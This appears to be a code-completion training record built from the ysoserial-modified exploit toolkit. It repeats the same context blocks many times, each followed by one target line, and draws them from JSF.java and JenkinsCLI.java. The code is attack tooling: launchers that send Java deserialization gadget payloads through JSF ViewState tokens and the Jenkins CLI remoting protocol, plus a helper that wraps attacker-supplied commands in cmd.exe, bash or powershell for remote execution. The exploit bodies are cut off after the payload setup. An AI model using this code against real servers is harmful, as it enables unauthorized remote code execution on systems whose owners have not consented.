// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import org.apache.commons.codec.binary.Base64; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit; /** * JSF view state exploit * * Delivers a gadget payload via JSF ViewState token. * * This will only work if ViewState encryption/mac is disabled. * * While it has been long known that client side state saving * with encryption disabled leads to RCE via EL injection, * this of course also works with deserialization gadgets. * * Also, it turns out that MyFaces is vulnerable to this even when * using server-side state saving * (yes, please, let's (de-)serialize a String as an Object). * * @author mbechler * */ public class JSF { public static void main ( String[] args ) { if ( args.length < 4 ) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>"); System.exit(-1); }
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/exploit/JSF.java import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import org.apache.commons.codec.binary.Base64; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.exploit; /** * JSF view state exploit * * Delivers a gadget payload via JSF ViewState token. * * This will only work if ViewState encryption/mac is disabled. * * While it has been long known that client side state saving * with encryption disabled leads to RCE via EL injection, * this of course also works with deserialization gadgets. * * Also, it turns out that MyFaces is vulnerable to this even when * using server-side state saving * (yes, please, let's (de-)serialize a String as an Object). * * @author mbechler * */ public class JSF { public static void main ( String[] args ) { if ( args.length < 4 ) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>"); System.exit(-1); }
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
pimps/ysoserial-modified
src/main/java/ysoserial/exploit/JSF.java
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import org.apache.commons.codec.binary.Base64; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit; /** * JSF view state exploit * * Delivers a gadget payload via JSF ViewState token. * * This will only work if ViewState encryption/mac is disabled. * * While it has been long known that client side state saving * with encryption disabled leads to RCE via EL injection, * this of course also works with deserialization gadgets. * * Also, it turns out that MyFaces is vulnerable to this even when * using server-side state saving * (yes, please, let's (de-)serialize a String as an Object). * * @author mbechler * */ public class JSF { public static void main ( String[] args ) { if ( args.length < 4 ) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>"); System.exit(-1); } CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/exploit/JSF.java import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import org.apache.commons.codec.binary.Base64; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.exploit; /** * JSF view state exploit * * Delivers a gadget payload via JSF ViewState token. * * This will only work if ViewState encryption/mac is disabled. * * While it has been long known that client side state saving * with encryption disabled leads to RCE via EL injection, * this of course also works with deserialization gadgets. * * Also, it turns out that MyFaces is vulnerable to this even when * using server-side state saving * (yes, please, let's (de-)serialize a String as an Object). * * @author mbechler * */ public class JSF { public static void main ( String[] args ) { if ( args.length < 4 ) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>"); System.exit(-1); } CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], cmdHelper);
pimps/ysoserial-modified
src/main/java/ysoserial/exploit/JenkinsCLI.java
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit; /** * Jenkins CLI client * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. * * This is a generic client delivering a gadget chain payload via that protocol. * * @author mbechler * */ public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); }
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/exploit/JenkinsCLI.java import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.exploit; /** * Jenkins CLI client * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. * * This is a generic client delivering a gadget chain payload via that protocol. * * @author mbechler * */ public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); }
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
pimps/ysoserial-modified
src/main/java/ysoserial/exploit/JenkinsCLI.java
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit; /** * Jenkins CLI client * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. * * This is a generic client delivering a gadget chain payload via that protocol. * * @author mbechler * */ public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); } CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
